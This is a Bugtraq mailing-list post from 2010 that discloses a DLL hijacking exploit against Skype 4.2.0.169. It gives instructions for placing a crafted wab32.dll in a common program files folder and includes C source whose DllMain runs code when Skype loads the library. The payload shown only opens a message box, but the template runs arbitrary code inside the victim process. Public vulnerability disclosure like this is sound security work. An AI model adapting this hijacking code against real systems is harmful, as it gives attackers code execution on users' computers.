bugtraq - Skype <= 4.2.0.169 DLL Hijacking Exploit (wab32.dll)

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Message-Id: <201008252050.o7PKoOw9010111@www3.securityfocus.com>
Date: Wed, 25 Aug 2010 14:50:24 -0600
From: glafkos@...alavista.com
To: bugtraq@...urityfocus.com
Subject: Skype <= 4.2.0.169 DLL Hijacking Exploit (wab32.dll)

/* 
Exploit Title: Skype <= 4.2.0.169 DLL Hijacking Exploit (wab32.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: Latest Skype v4.2.0.169
Tested on: Windows 7 x64 Ultimate
Vulnerable extensions: .skype
Greetz: Astalavista, OffSEC, Exploit-DB
Notes: Create folders %commonprogramfiles%\system and place wab32.dll
       %commonprogramfiles(x86)% on x64 bit
*/


#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI  DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
  dll_hijack();
  return 0;
}

int dll_hijack()
{
  MessageBox(0, "Skype DLL Hijacking!", "DLL Message", MB_OK);
  return 0;
}